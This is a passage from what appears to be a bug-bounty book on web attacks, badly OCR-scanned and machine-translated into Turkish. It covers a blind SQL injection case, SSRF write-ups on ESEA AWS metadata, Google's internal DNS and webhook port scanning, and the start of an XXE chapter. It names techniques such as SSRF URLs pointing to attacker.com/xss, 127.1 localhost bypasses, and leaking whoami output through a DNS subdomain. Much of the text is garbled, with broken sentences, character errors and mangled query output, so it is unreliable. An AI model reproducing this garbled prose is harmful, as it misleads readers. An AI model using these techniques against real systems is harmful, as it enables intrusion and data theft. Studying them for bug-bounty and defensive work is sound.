I¢ ice gegme icin sonraki yinelemede, 1 degeri hala 0, i de b olacaktr.
"5755 ve orta (kullanici (), 0,1) ='b' #" ylikiinii yarat . L pozisyonu oldugu gibi sabit kalacaktir
Dongii yiikii olusturmak i¢in her karakter temelde olsa yinelenir.

Her yeni bir yiik olusturuldugunda, kod yiikii JSON'a doniistiiriir, yeniden kodlar

base64encode islevini kullanan dize, HTTP istegini sunucuya gonderir.

Kod, sunucunun bir mesajla yanit verip vermedigini kontrol eder. I i¢indeki karakter eslesirse
test edilen pozisyondaki kullanici adi alt dizgisi, komut dosyasi karakterleri test etmeyi durdurur
bu konumda ve kullanic1 dizesinde bir sonraki konuma gecer. i¢ ice dongii

kirtlir ve tekrar devreye girer, ki bir sonraki pozisyonu test etmek i¢in 1 degerinde 1 artar
kullanic1 ad1 dizesi.

Bu kavram kanit1, Orange'in veritabani kullanic1 adin1 ve ana bilgisayarini onaylamasina izin verdi.
isim sendcloud w@10.9.79.210 ve veritabani ismi sendcloud idi (

veritabani adi, kullaniciy veritabani ile degistir. Rapora cevaben, Uber onayladi

SQL enjeksiyonu sunucularinda gergeklesmemis. Enjeksiyon tigiincii-

parti Uber kullantyordu ama yine de bir 6diil 6dedi. Tiim 6diil programlart yapmaz

Ayni hassas bir hizmetin kendileri olmamasi durumunda. Uber muhtemelen 6diil ald: ¢iinkii
Suistimal, bir saldirganin Uber’in tiim miisteri e-posta adreslerini

sendcloud veritabani.

Orange'm yaptig1 gibi kendi scriptlerinizi yazabiliyorken veri tabanindan bilgi almak igin
savunmasiz bir web sitesi olarak, otomatik araglari da kullanabilirsiniz. Bunun Kaynaklar boliimii
Bu kitap, SQLMap hakkinda boyle bir ara¢ hakkinda bilgi icerir.
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SQL Enjeksiyonu

cikarimlar

Kodlanmis parametreleri kabul eden HTTP isteklerine dikkat edin. Senden sonra
sorguyu kodunu ¢6z ve enjekte et, yiikiinii yeniden kodladigindan emin ol
bu yiizden her sey hala veritabanin1 kodlamay: bekliyor.

Bir veritabani adi, kullanici ad1 ve ana bilgisayar adinin ¢gikarilmasi genellikle géz 6niinde bulundurulur
zararsiz, ancak 0diil programinin izin verilen eylemleri i¢inde oldugundan emin olun.

¢alistyorsunuz. Bazi durumlarda, uyku komutu ispat1 igin yeterlidir.

kavrami.

ozet

SQLI, bir site i¢in dnemli bir giivenlik ag1g1 ve tehlikeli olabilir. Bir saldirgan olsayd:

bir SQLi bulmak, onlar bir siteye tam izinleri almak miimkiin olabilir. Baz1 durumlarda
SQLi, yonetime olanak saglayan veritabanina veri eklenerek artirilabilir.

Drupal 6rneginde oldugu gibi sitedeki izinler. SQLi agiklarini ararken,

tek tek veya cift tirnak isaretinden gegirilemeyen yerlere dikkat edin.

sorgu. Bir giivenlik a¢1g1 buldugunuzda, giivenlik a¢iginin bulundugunu belirten gdstergeler
kor enjeksiyonlarla oldugu gibi ince olun. Ayrica yapabileceginiz yerleri de aramalisiniz.
bir siteye, dizinin yerini alabileceginiz yerler gibi beklenmeyen sekillerde veri iletme

Uber bocekindeki gibi istek verisindeki parametreler.
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12. Sunucu Tarafi Istegi Sahteciligi

Ac¢iklama

Sunucu tarafi istegi sahteciligi veya SSRF, bir saldirganin bir giivenlik aci1g1 olugturabildigi bir giivenlik agigidur.

Sunucu istenmeyen ag istekleri gergeklestirir. SSRF'ler bir tanesine sahip olan CSRF'ye benzer

farki. Bir CSRF saldirisinin kurbani bir kullanici iken, SSRF kurbani web sitesinin kendisidir.
CSRF'de oldugu gibi, SSRF agiklar1 da etki ve uygulama yontemlerinde degisiklik gosterebilir. Bunda
kitap, HTTP isteklerine odaklanacagiz, ancak SSRF bagka protokollerden de yararlanabilir.

HTTP istegi Konumu

Web sitesinin nasil organize edildigine bagli olarak, SSRF’ye kars1 hassas olan bir sunucuyu
Bir dahili aga veya harici adreslere bir HTTP istegi yapin. Savunmasiz

Sunucunun istek yapma yetenegi, SSRF ile neler yapabileceginizi belirler.

Bazi biiyiik web sitelerinde, harici internet trafiginin erismesini yasaklayan giivenlik duvarlari bulunur.
Ornegin, dahili sunucularda halka agik smirli sayida web sitesi olacaktr.

ziyaretgilerden HTTP istekleri alan ve istekleri diger sunuculara génderen sunucular

halka agik erigilemez. Bunun ortak bir 6rnegi, veri tabani sunucularidir.

genellikle internete erisilemez. Bdyle bir siteye giris yaparken,

diizenli bir web formu araciligiyla kullanici ad1 ve sifre. Web sitesi size

HTTP istegi ve kimlik bilgileri ile veritabani sunucusuna kendi istegini gerceklestirmek,

daha sonra veritabani sunucusu web uygulama sunucusuna ve web'e cevap verecektir.

Uygulama sunucusu bilgileri size iletir. Bu siiregte siklikla

Uzak veritabani sunucusunun var oldugunu ve dogrudan

veritabani.

Saldirganlarin dahili sunuculara istekleri kontrol etmesine izin veren hassas sunucular
ozel bilgileri agiga vurmak. Ornegin, dnceki veritabani drnegindeki bir SSRF

bir saldirganin veritabani sunucusuna istek géndermesine ve bilgi almasina izin verebilir
erigemezlerdi. SSRF agiklari, saldirganlarin daha genis bir alana erisimini saglar
hedeflenen ag.

Bir SSRF bulursaniz, ancak giivenlik a¢ig1 bulunan sitenin dahili sunucular1 yoktur veya kullanilamaz.
giivenlik ag181 ile erisilebilir, kontrol edilebilecek en iyi sey, yapip yapamayacaginizdir

Giivenlik a¢181 bulunan sunucudan istege bagl harici sitelere istekte bulunma. Eger hedef

Sunucu kontrol ettiginiz bir sunucuyla iletisim kurmak i¢in kullanilabilir,

kullanilan yazilim ve siz hakkinda daha fazla bilgi edinmek i¢in ondan bilgi istedi.

ona verilen cevabi kontrol edebilir.

Sunucu Tarafi Istegi Sahteciligi
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Ornegin, harici istekleri dahili isteklere doniistiirebilirsiniz.

savunmasiz sunucu yonlendirmeleri takip edecek, bir numara Justin Kennedy (@jstnkndy) dikkat ¢ekti
bana gore. Bir sitenin dahili IP’lere erisime izin vermedigi, ancak harici iletisime gegecegi durumlarda
sitelerinde, bir yonlendirme olan 301 durum koduyla bir HTTP yanit1 dondiirebilirsiniz. Dan beri
Yanit1 kontrol ederseniz, yonlendirmeyi test etmek i¢in dahili bir IP adresine yonlendirebilirsiniz.

Sunucunun 301'i takip edip edemeyecegi ve i¢ agma bir HTTP istegi yapip yapmayacagi.

En az heyecan verici durum, bir SSRF giivenlik a¢iginin yalnizca iletigim kurmaniza izin verdigi durumdur.
siirlt sayida harici web sitesi ile. Bu durumlarda, almak miimkiin olabilir

yanlis yapilandirilmis bir kara listenin avantaji. Ornegin, bir web sitesi

harici olarak leanpub.com ile iletisim kurun ancak yalnizca saglanan URL’yi dogrulayin

leanpub.com'da biter, bir saldirgan attackerleanpub.com'a kayit olabilir. Bu izin verecek

Magdur sitesine verilen yanit1 kontrol eden bir saldirgan.

POST isteklerine Karsi GET'i Cagirma

Bir SSRF’nin gonderilebilecegini onayladiktan sonra, ne tiir bir HTTP’yi onaylamaniz gerekir.
siteden yararlanmak i¢in yontem cagrilabilir: GET veya POST. POST istekleri daha fazla olabilir
POST parametreleri olabilir, ¢iinkii durum degistirme davranigini ¢agirabilir

Kontrollii. Durum degistirme davranisi kullanici hesaplari yaratiyor, sistemi ¢agirtyor olabilir
Sunucunun neyle iletisim kurabilecegine bagli olarak komutlar veya rasgele kod yiiriitme

ile. Ote yandan, GET istekleri cogu zaman veri doldurma ile iliskilendirilir.

Kor SSRF'ler

Bir talebi nerede ve nasil yapabileceginizi onayladiktan sonra, dikkate alinmas1 gereken bir sonraki sey
Bir istegin cevabina erisip erisemediginiz. Bir yanita erisemediginizde,

kor bir SSRF'niz var. Ornegin, bir saldirgan dahili bir aga erisebilir

SSREF iizerinden, ancak dahili sunucu isteklerine HTTP yanitlarini okuyamiyor. Ciinkii

saldirgan cevaplar1 okuyamuiyor, alternatif bir yol bulmalari gerekecek

bilgi ayiklaniyor. Bunu yapmanin iki yaygin yolu vardir: zamanlama ve DNS.

Bazi kor SSRF'lerde, yanut siireleri, sunucular hakkinda bilgi verebilir.

ile etkilesime girdi. Bunu kullanmanin bir yolu, erisilemeyen sunuculari taramaktir. Limanlar

Bir sunucuya bilgi girisi ve iletme yetenegi saglamak. Sunucudaki portlari tartyorsunuz

Bir istek gondererek ve yanitlayip yanitlamadiklarim gorerek. Ornegin, istismar ediyorsaniz

Bu sunuculari tarayarak baglanti noktasiyla dahili bir aga bir SSRF

1 saniye ile 10 saniye arasinda agik, kapali veya filtreli

bilinen baglant1 noktalarinin (80 veya 443 gibi) yanit vermesi iizerine. Filtrelenmis baglant1 noktalar1 bir iletigim gibidir
Kara delik. Isteklere cevap vermiyorlar, bu yiizden agik m1 yoksa kapali m1 olduklarini asla bilemeyeceksiniz. I¢inde
Aksine, hizli bir yanit, sunucunun agik oldugu ve iletisimi kabul ettigi anlamina gelebilir.

veya kapali ve iletisimi kabul etmiyor. Port tarama i¢in SSRF'den yararlanirken,

22 (SSH i¢in kullanilir), 80 (HTTP), 443 (HTTPS) gibi ortak baglant: noktalarina baglanmay1 denemelisiniz,
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Yanitlarin farklilik gosterip gostermedigini dogrulamak igin 8080 (alternatif HTTP) ve 8443 (alternatif HTTPS)
ve bundan hangi bilgileri elde edebilirsiniz.

DNS, internet i¢in bir harita olarak kullanilir. Kullanarak DNS isteklerini ¢agirabilirseniz,
i¢ sistemler ve alt etki alan1 da dahil olmak iizere istegin adresini kontrol edebilir,
Bagka tiirlii kor SSRF agiklart disinda bilgi gizliligi yakalayabilirsiniz. i¢in



bundan faydalanirsaniz, kagakeil bilgileri kendi etki alanimiza bir alt etki alani olarak eklersiniz
hedeflenen sunucu sitenize bu alt etki alan1 i¢in bir DNS aramasi gercgeklestirir. Igin

Ornegin, kor bir SSRF bulursaniz ve bir sunucuda sinirli komutlar ¢alistirabilirseniz
ancak aramay1 kontrol ederken DNS aramalarini ¢agirabiliyorsaniz yanitlart okumayin.
domain, whoami komutunu kullanarak ve ¢iktisini bir alt etki alan1 olarak eklemek
Sunucunuza bir istek, sunucu igin bir DNS aramasi alacaksiniz data.yourdomain.com ,

nerede veri savunmasiz sunucunun disari oldugunu benkimim komuta.

SSRF'den Yararlanma

Dahili sistemleri hedefleyemediginizde, bunun yerine SSRF'lerden yararlanmay1 deneyebilirsiniz.
Bu kullanicilari etkiler. SSRF'niz kér degilse, bunu yapmanin bir yolu bir XSS dondiirmektir.
savunmasiz sitede yiiriitiilen SSRF istegine yonelik yiik. Depolanan XSS

faydali veri ytikii, 6zellikle diger kullanicilar tarafindan kolayca erisilebiliyorsa onemli
Onlara saldirmak i¢in bundan yararlanabilirsiniz. Ornegin, sézde www.leanpub.com ac-
profil resminizin resmini almak i¢in bir URL’yi sifreledi: www.leanpub.com/picture?url=

. XSS’1i bir HTML saytfas1 dondiiren kendi sitenize bir URL gonderebilirsiniz

yiik, www.leanpub.com/picture?url=attacker.com/xss. Www.leanpub.com kaydedilmisse
HTML ve goriintii i¢in islenen, depolanan bir XSS giivenlik acig1 olacaktir.

Ancak, Leanpub HTML’yi XSS’le birlikte olustursa da kaydetmediyse, test edebilirsiniz.

Bu eylem i¢in CSRF'yi dnleyip 6nlemedikleri. Olmazlarsa, URL’yi paylagabilirsiniz.
www.leanpub.com/picture?url=attacker.com/xss bir hedefi olan ve baglantiy1 ziyaret ettilerse,
XSS SSRF'nin sonucu olarak sitenize ates eder.

SSRF agiklarini ararken, bulundugunuz firsatlara géz atin

bazi site iglevlerinin bir pargasi olarak bir URL veya IP adresi gonderebilir ve
I¢ sistemler ile iletisim kurma davranisini nasil kullanabileceginizi veya
Bunu diger kotii niyetli davranis tiirleriyle birlestirin.

Ornekler

1. ESEA SSRF ve Sorgu AWS Meta Verileri

Zorluk : orta

URL : https://play.esea.net/global/media_preview.php?url=
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Rapor Baglantis : http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-query-
ing-aws-meta-veri / 1

Rapor Tarihi : 18 Nisan 2016
Odemeli Odiil : 1000 Dolar
Tanim :

E-Spor Eglence Dernegi (ESEA), rekabetgi bir video oyun yarigsmasidir.
E-Spor Eglence Dernegi (ESEA) tarafindan kurulmustur. Son zamanlarda bir basladi
Brett Buerhaus'un iizerinde giizel bir SSRF kirilganlig1 buldugu hata 6diil programa.

Brett, Google Dorking'i kullanarak siteyi arad: : https: //play.esea.net/ ext: php . Bu
PHP i¢in play.esea.net alan adinda arama yapmak i¢in Google’dan yararlanir . Sorgu sonuglari


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
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dahil https://play.esea.net/global/media_preview.php?url=.

URL’ye baktigimizda, ESEA dis kaynakli igerik olusturuyormus gibi goriiniiyor.

Siteler. SSRF'yi ararken bu kirmizi bayraktir. Anlattig1 gibi, Brett kendi yapti ...

ana: https://play.esea.net/global/media_preview.php?url=http://ziot.org . Ama hayir

sans. Anlagilan esea, resim dosyalari artyordu, bu yiizden resim igeren bir yiikii denedi.

once Google’1 alan adi olarak, ardindan kendi kodunu kullanarak, https://play.esea.net/global/media_-
onizleme.php? url = http: //ziot.org/1.png .

Basar1.

Simdi, buradaki asil giivenlik a¢1g1 bir sunucuyu bagka icerik olusturmaya kandirmaktan kaynaklaniyor
amagclanan goriintiilerden daha. Yazisinda, Brett bir null kullanmak gibi tipik hileler ayrintilari

bayt (% 00), ek egik ¢izgiler ve geri atlamak veya kandirmak i¢in soru isaretleri

son. Onun durumunda, o ekledi? URL'ye: https://play.esea.net/global/media_pre-

view.php? url = http: //ziot.org/? 1.png .

Bunun yaptig1, 6nceki dosya yolunu doniistiirmek, 1.png bir parametreye degil
gergek URL olusturuluyor. Sonug olarak, ESEA web sayfasini olusturdu. Bagka bir deyisle, o
ilk testten uzatma kontroliinii atladi.

Simdi, burada, aciklandig1 gibi bir XSS yiikii ¢alistirmay1 deneyebilirsiniz. Sadece basit bir yarat
Javascript ile HTML sayfasi, siteyi olusturmak igin olsun ve hepsi bu. Ama daha ileri gitti.

Ben Sadeghipour'dan gelen bilgilerle (Hacking Pro Tips Roportaj # 1'den onu unutma

YouTube kanalimda), AWS EC2 6rnegi meta verilerinin sorgulanmasini test etti.

EC2, Amazon'un Elastik Hesap Bulutu veya bulut sunucularidir. Sorgulama yetenegi saglarlar
kendileri, IP {izerinden, 6rnek hakkinda meta veri ¢ekmek i¢in. Bu ayricalik belli ki
ornegin kendisine kilitlendi, ancak Brett sunucuyu kontrol etme yetenegine sahip oldugundan

igerik yliklityordu, ¢agriy1 kendine yapip meta verileri ¢ekebiliyordu.

Ec2'nin belgeleri burada: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-
example-metadata.html . Alabileceginiz bazi oldukca hassas bilgiler var.

! http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
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c¢ikarimlar

Google Dorking, her tiiriinii agiga ¢ikarirken size zaman kazandiracak harika bir aragtir
olasi istismarlarin. SSRF agiklari ariyorsaniz, uyanik olun

Uzaktaki icerigi ¢eken goriinen hedef URL'ler i¢in. Bu durumda, o

oldu url = esantiyon oldu.

Ikincisi, sahip oldugunuz ilk diisiince ile kagmayin. Brett rapor verebilirdi
Bu kadar etkili olmayacak olan XSS yiikii. Biraz kazarak
daha derin, bu giivenlik agiginin gergek potansiyelini ortaya ¢ikarabildi. Ama ne zaman

bunu yaparken agmamak igin dikkatli olun.

2. Google Dahili DNS SSRF

Zorluk : orta

URL : https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-infor-

mation /

Rapor Baglantisi : https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-

93
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dns-bilgi /2
Rapor Tarihi : Ocak 2017

Odemeli Odiil : agiklanmad:
Tanim :

Google, kullanicilarin sorunlar1 gidermeleri i¢in https://toolbox.googleapps.com sitesini saglar.

Google’in Google Apps Hizmetleriyle yasiyoruz. Araglar, tarayici hata ayiklama, giinliik analizorleri igerir
ve DNS ile ilgili aramalar. Julien Ahrens’in ne zaman dikkatini ¢eken DNS araglariydi.

Siteye giivenlik agiklar1 g6z atma (bunun dahil edilmesine izin verdigi i¢in tesekkiir ederiz)

Kitaptaki giivenlik a¢181 ve yakaladig resimlerin kullanilmast).

Google’in DNS araglarinin bir pargasi olarak, 'Dig' adinda bir tane bulunur. Bu ¢ok benzer davranir
Site DNS bilgisi i¢in alan adi sunucularini sorgulamak i¢in Unix dig komutu. Bu

IP adresini www.google.com gibi okunabilir bir alana esleyen bilgiler. De

Bulma zamani, Google biri URL i¢in digeri igin iki girdi alani i¢eriyordu.

Bu alanda gosterildigi gibi alan adi sunucusu, Julien'in izniyle.

2
“ https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/
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Google Ara¢ Kutusu Arabirimi
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Kullanicilarin izin verdigi i¢in Julien’in dikkatini ¢eken “Ad sunucusu” alantydi.

DNS sorgusunun yonlendirilecegi bir IP adresi belirlemek igin. Bu 6nerildigi gibi 6nemlidir

kullanicilarin DNS sorgularini herhangi bir IP adresine, muhtemelen internet kisitli [P'sine génderebilecegini
adresleri yalnizca dahili 6zel aglarda kullanmak i¢indir. Bu IP araliklari sunlart igerir:

+10.0.0.0 - 10.255.255.255

* 100.64.0.0 - 100.127.255.255
+127.0.0.0 - 127.255.255.255
+172.16.0.0 - 172.31.255.255
*192.0.0.0 - 192.0.0.255
+198.18.0.0 - 198.19.255.255

Girig alanini test etmeye baglamak i¢in, Julien ortak yerel ana bilgisayar adresini 127.0.0.1’e sunmustur.
komutu yiiriiten sunucuyu adreslemek i¢in kullanilir. Bunu yapmak hatayla sonuglandi

"Sunucu yanit vermedi" mesaji. Bu, aracin aslinda denemeye ¢alistigini ima etti.
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bilgi i¢in DNS aramalarina yanit vermek i¢in kullanilan baglanti noktasi olan kendi baglanti noktasi 53'e baglanin

sitesi hakkinda, rcesecurity.com.

Bu ince mesaj ¢ok dnemlidir, ¢linkii potansiyel bir giivenlik a¢iinm1 ortaya ¢ikarir. Daha biiyiik

Ozel aglar, tiim sunucular internete bakmaz, yani yalnizca belirli sunucular

uzaktan kullanicilar tarafindan erigim olabilir. Web sitelerini ¢aligtiran sunucular kasith olarak bir 6rnektir
erisilebilir internet sunuculari. Ancak, bir agdaki sunuculardan birinin her ikisi de i¢

ve dis erisim ve bir SSRF giivenlik a¢1g1 i¢eriyorsa, saldirganlar yararlanabilir

Bu sunucuya, dahili sunuculara erigsmek i¢in. Julien'nin aradigi sey buydu.

Bu notta, HTTP istegini i¢ numaralandirmaya baslamak i¢in Burp davetsiz misafirine génderdi
10. araliktaki IP adresleri. Birkag dakika sonra, dahili bir kigiden cevap aldi.
10. IP adresi (bilerek agiklanmadi) hakkinda bos bir A kaydi olan

alan adi.

ID 60520

opcode QUERY

rcode reddedildi
bayraklar QR RD RA
;SORU
www.rcesecurity.com/tr A
;CEVAP

:YETKI

;EK

Bos olmasi, bir DNS sunucusu beklemememizin bir 6nemi yok.
harici sitesi hakkinda bir seyler bilmek. icerigi de bunun igin énemli degil
ornek. Aksine, umut verici olan sey, dahili erisimi olan bir DNS sunucusunun

bulundu.

Bir sonraki adim Google’in dahili ag1 hakkinda bilgi almakti. En iyisi
Bunu yapmanin yolu i¢ sirket agin1 bulmaktir. Bu kolayca bir {izerinden yapildi
ycombinator’in HackerNews referanslari lizerine bir yayin yapan hizli Google aramasi

corp.google.com. Corp.google.com alt alanin1 hedeflemenin nedeni, agidir.



bilgi dahili olmali ve halka agik olmamalidir.

Boylece, bir sonraki adim corp.google.com i¢in alt etki alanlarini kaba bir sekilde zorlamak oldu.
ad.corp.google.com’u kaldird: (goriiniise gore bir Google aramasi da bunu yapmis

kadar). Bu alt etki alanin1 géndererek ve dahili IP adresini kullanarak, Google

6zel DNS bilgilerinin demet:
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1D 54403

opcode QUERY

rcode NOERROR

bayraklar QR RD RA

;SORU

ad.corp.google.com A’da

;CEVAP

ad.corp.google.com. 100'DEN BIRLESTIRILDI
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 58. 172 BIRLESTIRILMIS
ad.corp.google.com. 100'DEN BIRLESTIRILDI
YETKT

;EK

Dahili IP adresleri 100 ve 172'ye referanslar1 not edin.
Ad.corp.google.com i¢in DNS aramasi asagidakileri dondiirdii:

dig Bir ad.corp.google.com (@ 8.8.8.8

; << >>DiG 9.8.3- P1 << >> Bir reklam.corp.google.com.tr @ 8.8.8.8

;5 genel secenekler : + cmd

;3 Got cevap :

;; - >> HEADER << - opcode : QUERY, durum : NXDOMALIN, id : 5981
;; bayraklar : qrrd ra; QUERY : 1, CEVAP : 0, YETKi: 1,EK: 0

;3 SORU BOLUM :
; Ad.corp.google.com. ICINDE

;3 YETKI BOLUM :
corp.google.com. 59 SOA IN ns3.google.com.tr. dns - admin.google.com. 147615698 90 \

0900 1800 60

;3 Sorgu siiresi : 28 msn
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;; SUNUCU : 8.8.8.8 # 53 (8.8.8.8)
;3 WHEN : Car 15 Subat 23:56:05 2017

;; MSG BOYUTU rcvd : 86
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Ad.corp.google.com i¢in dahili isim sunucularini da edinmek miimkiindii:

kimlik 34583

opcode QUERY

rcode NOERROR

bayraklar QR RD RA

;SORU

ad.corp.google.com IN NS’de

;CEVAP

ad.corp.google.com. 1904 IN NS sicak dcREDACTED
ad.corp.google.com. 1904 IN NS sicak dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS sicak dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
:YETKI

;EK

Son olarak, bu diger alt alanlara da bir minecraft sunucusu da dahil olmak {izere erisilebilirdi.

minecraft.corp.google.com

cikarimlar

Web sitelerinin yapmasi gereken islevler icerdigi firsatlari goz 6niinde bulundurun
harici HTTP istekleri. Bunlarla karsilastiginizda, istegi isaretlemeyi deneyin

dahili olarak yukarida listelenen 6zel ag IP adresini kullanarak.

Site dahili IP’lere erisemezse, bir keresinde Justin Kennedy’ye bir numara onerildi:
dis HTTP istegini sizin kontrol ettiginiz ve yanitladiginiz bir sunucuya yapacaktim
301 yonlendirmesi ile bu istek. Bu tiir bir cevap istekte bulundugunu

Talep ettikleri kaynagin yeri degisti ve onlar1 isaret etti

yeni bir yere Yanit1 kontrol ettiginizden, yonlendirmeyi isaret edebilirsiniz.
sunucuyu gérmek i¢in dahili bir IP adresine yonlendirmek

ic ag

3. Dahili Baglant1 Noktas1 Taramasi

Zorluk : Kolay

97
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URL : Yok

Rapor Baglantis : Yok
Rapor Tarihi : 2017
Odemeli Odiil : agiklanmadi
Tanm :

Web kancalari, kullanicilarin bir siteden istek gondermelerini istemesini saglayan ortak bir islevdir.

belirli eylemler gergeklestiginde baska bir uzak siteye. Ornegin, bir e-ticaret sitesi

kullanicilarin satin alma bilgilerini uzaktan kumandaya génderen bir web kancast kurmalarini saglayabilir.
Bir kullanicr her siparis verdiginde site gonderir. Kullanicinin tanimlamasini saglayan Web kancalari
Uzak sitenin URL'si SSRF'ler i¢in bir firsat saglar, ancak herhangi birinin etkisi olabilir.

Istegi her zaman kontrol edemediginiz veya yamita erisemediginiz igin smnirls.

Ekim 2017°de, bir siteyi 6zel olusturma yetenegi sagladigini fark ettigimde test ediyordum
web kancalari. Sunucunun izin verip vermeyecegini gérmek i¢in web kancast URL’sini http: // localhost olarak génderdim.
kendisi ile iletisim kurmak. Ancak, site buna izin verilmedigini sdyledi, ben de denedim.

http://127.0.0.1 , ancak bu ayni1 zamanda bir hata mesaji verdi. Belirsiz, referans vermeye ¢alistim

127.0.0.1 baska sekillerde. IP_ Adresi Doniistiiriicii 3 listeleri bir¢ok alternatif IP adresleri
127.0.1 ve 127.1 dahil birgoklar1 arasinda. Her ikisi de ise ¢ikt1.

Raporumu gonderdim, ancak bunun ciddiyeti bir 6diil almak i¢in ¢ok diistiktii.

Yerel ev sahibi kontrollerini atlayabildigimi gostermistim. I¢in uygun olmak

6diil, altyapilarini tehlikeye atma ya da ayiklama yetenegini gostermem gerekiyordu.

bilgi.

Sitede ayrica kullanicilarin uzaktan almalarini saglayan web entegrasyonlari adi verilen bir 6zellik vardi.

siteye icerik. Ozel bir entegrasyon olusturarak uzak bir URL saglayabilir.
sitemin hesabimi ayrigtirmasi ve olusturmasti i¢in bir XML yapisi dondiiriiyor.

Baslamak i¢in, 127.0.0.1’yi gébnderdim ve sitenin bazi bilgileri ifsa edebilecegini umdum

cevap. Bunun yerine, site gecerli igerik yerine bir hata verdi: 500 “Yapilamiyor

baglan. ”Bu umut verici goriiniiyordu ¢ilinki site hakkinda bilgi agikliyordu.

tepki. Sonra, sunucudaki baglanti noktalariyla iletisim kurabilecegim olup olmadigimi kontrol ettim. gittim

entegrasyon yapilandirmasina geri dondii ve IP adresi olan 127.0.0.1:443"i gonderdi.

erismek ve sunucudaki baglanti noktasina bir iki nokta ile ayrilmis olarak. Bu beni gérmek i¢in izin verdi

site 443 numaral1 baglant1 noktasinda iletisim kurabiliyordu. Yine, 500 “Baglanamiyorum” u aldim. Baglant1 noktas1 igin ayn1
8080. Sonra, genellikle SSH iizerinden baglanmak i¢in kullanilan 22 numarali baglanti noktasini denedim. Bu sefer aldim
hata 503, “Tiim bagliklar alinamadi.”

Bingo. Bu cevap farkliyd: ve bir baglanty1 dogruladi. “Tiimii alinamadi
bagliklar "iade edildi ¢iinkii SSH'yi bekleyen bir limana HTTP trafigi gonderiyordum
protokol. Web entegrasyonlarini kullanabilecegimi gostermek igin raporu tekrar génderdim

3]111[)5:/ www.psyon.org/tools/ip_address converter.php?ip=127.0.0.1
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cevaplari agik / kapali ve farkli oldugu igin dahili sunucularini taramak

filtrelenmis baglanti noktalari.

¢ikarimlar

Web kancalari olusturmak igin bir URL gonderebilir veya uzaktan kasten igeri aktarabilirseniz
icerigi belirli portlari tanimlamaya caligin. Bir sunucunun yanit verme seklindeki kiigiik degisiklikler
farkl1 portlar portun agik / kapali ya da filtreli olup olmadigini ortaya ¢ikarabilir. Ek olarak
Sunucunun dondiirdiigli mesajlardaki farkliliklara

bunlar agik / kapali ya da sunucunun yanit vermesi ne kadar siirerse filtreleniyorlar

istek igin.

ozet

Sunucu tarafi istegi sahteciligi, bir sunucu talepte bulunmak i¢in kaldirag kullanilabildiginde ortaya ¢ikar
saldirgan adma. Ancak, tiim talepler istismar edilebilir bir sonug degildir. Omegin,

Bunun nedeni, bir sitenin kopyalayacagi ve kullanacagi bir resme URL saglamaniza izin vermesidir.
kendi sitesi (yukaridaki ESEA 6rnegi gibi), sunucunun savunmasiz oldugu anlamina gelmez. bulgu

Bu sadece potansiyelin ne oldugunu onaylamaniz gereken ilk adimdur. ile

ESEA ile ilgili olarak, site resim dosyalar1 ararken, ne oldugunu dogrulamiyor

Alman ve kotii amagli XSS yapmak ve ayrica HTTP istekleri yapmak i¢in kullanilabilir.

kendi EC2 meta verileri.
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Aciklama

Bir XML Dss Varlik (XXE) giivenlik ag1g1, bir uygulamanin nasil ayristirtlacagindan yararlanilmasini igerir
XML girisi, daha 6zel olarak, uygulamanin dahil edilmesini nasil isledigini kullanarak

Girdiye dahil edilen harici varliklar. Bunun nasil kullanildigina dair tam bir takdir kazanmak

ve potansiyeli, ilk olarak ne gelistirilebilir Markup'un ne oldugunu anlamamizin en iyi olacagini diigiiniiyorum.
Dil (XML) ve dis varliklardur.

Meta dil, diger dilleri tanimlamak i¢in kullanilan bir dildir ve XML budur
dir-dir. HTML'den sonra kismen, HTML'nin eksikliklerine bir cevap olarak gelistirildi,
veri goriintiisiinii tanimlamak i¢in kullamlir , nasil goriinmesi gerektigine odaklanir. Tersine,

XML, verilerin nasil yapilandirilacagini tanimlamak i¢in kullanilir .

Omegin, HTML de, <title> , <hl>, <table> , <p> , vb. Gibi etiketleriniz var .

icerigin nasil goriintiilenecegini tanimlamak i¢in kullanilir. <Title> etiketi sayfa en tanimlamak i¢in kullanilir
title (sok edici), <h1> etiketleri bagliklar1 tanimlar, <table> etiketleri satirlar halinde veri sunar ve

stitunlar ve <p> basit metin olarak sunulur. Buna kargilik, XML'in 6nceden tanimlanmis etiketleri yoktur.
Bunun yerine, XML belgesini olusturan kisi, tanimlamak i¢in kendi etiketlerini tanimlar.

igerik sunuluyor. Iste bir 6rnek:

<? xml version = "1.0" encoding = "UTF-8"?>
<isler>
<ig>
<title> Hacker </title>
<telafi> 1000000 </ telafi>
<sorumluluk istege bagli = "1" > Web’i vurun </responsibility>
</ is>

</ isler>

Bunu okuyarak, muhtemelen XML belgesinin amacini tahmin edebilirsiniz.

is listeleme ancak bir web sayfasinda sunulmugsa bunun nasil goriinecegi konusunda higbir fikriniz yok.
XML'in ilk satir1, kullanilacak XML siiriimiinii belirten bir bildirim baghgi ve

kodlamanin tiirii. Bunu yazarken, XML'in 1.0 ve 1.1 olan iki siiriimii vardir.

1.0 ile 1.1 arasindaki farklarin detaylandirilmasi, kitabin kapsami disindadir.

Korsanligi etkilememelisin.

